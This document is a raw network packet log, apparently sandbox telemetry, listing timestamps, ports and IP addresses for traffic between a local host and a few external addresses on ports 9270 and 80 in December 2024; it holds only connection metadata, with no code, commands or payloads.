Dec 15, 2024 11:59:52.618818998 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:52.942802906 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:53.063076973 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:53.343251944 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:53.463352919 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:53.476070881 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:53.595890045 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:53.621170044 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:53.741327047 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:53.847590923 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:53.967658043 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:54.012099981 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:54.132471085 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:54.176260948 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:54.296581984 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:54.433063984 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:54.552992105 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:54.661952019 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:54.781893015 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:54.842232943 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:54.879172087 CET	49851	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:54.900533915 CET	49871	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:54.962203026 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:54.999639988 CET	80	49851	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:54.999914885 CET	49851	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:55.020603895 CET	80	49871	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:55.020837069 CET	49871	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:55.037125111 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.041430950 CET	49871	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:55.084204912 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.156996012 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.161223888 CET	80	49871	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:55.183016062 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.204180956 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.204396963 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.240626097 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.303277016 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.360629082 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.412396908 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.415482044 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.532304049 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.535372972 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.555639029 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.555846930 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.620843887 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.620935917 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.675462961 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.675712109 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.740969896 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:55.851421118 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:55.971637011 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:56.366389990 CET	80	49871	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:56.366544962 CET	49871	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:56.443867922 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:56.565670967 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:56.598999023 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:56.723954916 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:56.772780895 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:56.773046970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:56.892980099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:56.893049002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:56.893141985 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:56.893203020 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:56.904309034 CET	9270	49872	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:56.904536963 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:56.923134089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:57.043023109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248205900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248241901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248264074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248280048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248296022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248311996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248316050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.248327971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248358011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.248373032 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.248390913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248405933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248425007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.248452902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.248477936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.368360043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.368403912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.368478060 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.372406960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.372462034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.372518063 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.466572046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.466653109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.466722012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.470573902 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.472255945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.472306013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.472306967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.472352028 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.480521917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.480575085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.480642080 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.488904953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.488974094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.489042997 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.497299910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.497531891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.497585058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.505750895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.505863905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.505908012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.514137983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.514218092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.514271021 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.521343946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.521544933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.521599054 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.528577089 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.528671980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.528719902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.535953045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.536006927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.536056995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.543102026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.543196917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.543245077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.665512085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.665565968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.665594101 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.665623903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.667866945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.667973995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.668023109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.673060894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.673115015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.673161983 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.678256989 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.678369045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.678426027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.683465004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.683597088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.683648109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.688607931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.688694954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.688740969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.693882942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.693981886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.693983078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.694021940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.699081898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.699202061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.699238062 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.699279070 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.704195023 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.704348087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.704379082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.704392910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.709469080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.709557056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.709639072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.714603901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.714668989 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.714732885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.719829082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.720022917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.720079899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.725068092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.725116968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.725176096 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.730205059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.730251074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.730320930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.735411882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.735474110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.735527992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.735575914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.740605116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.740662098 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.740695000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.740741968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.745829105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.745886087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.745886087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.745937109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.751022100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.751070023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.751152039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.751199007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.756184101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.756244898 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.756371975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.756421089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.761401892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.761528015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.761617899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.761617899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.766616106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.766674042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.766679049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.766717911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.771791935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.771842003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.771857977 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.771905899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.776977062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.777040005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.857386112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.857426882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.857462883 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.857485056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.859556913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.859612942 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.859615088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.859662056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.864036083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.864105940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.865598917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.865657091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.865662098 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.865703106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.870048046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.870158911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.870161057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.870210886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.874511003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.874563932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.874643087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.874687910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.878761053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.878810883 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.878874063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.878920078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.882884979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.882935047 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.882966042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.883013010 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.886867046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.886919975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.886969090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.887015104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.890803099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.890851021 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.890898943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.890944004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.894584894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.894633055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.894694090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.894737959 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.898221970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.898271084 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.898375034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.898421049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.901941061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.901988983 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.902050018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.902091980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.905523062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.905569077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.905644894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.905689001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.909162045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.909207106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.909317017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.909354925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.913604021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.913642883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.913654089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.913686991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.916330099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.916376114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.916451931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.916493893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.919960976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.920008898 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.920084953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.920131922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.923572063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.923623085 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.923686981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.923729897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.927161932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.927206993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.927269936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.927316904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.930808067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.930843115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.930852890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.930883884 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.934372902 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.934417963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.934479952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.934521914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.938002110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.938045979 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.938103914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.938144922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.941564083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.941611052 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.941673994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.941714048 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.945148945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.945194006 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.945270061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.945317030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.948769093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.948813915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.948889971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.948934078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.952372074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.952414989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.952461004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.952507019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.955972910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.956017971 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.956114054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.956156015 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.959556103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.959594011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.959609985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.959630966 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.963180065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.963232040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.963263988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.963274002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.966768980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.966814041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.966890097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.966931105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.970381021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.970426083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.970500946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.970545053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.974014044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.974060059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.974137068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.974176884 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.977555037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.977600098 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.977679968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.977730989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.981168032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.981211901 CET	49876	80	192.168.2.4	185.215.113.16
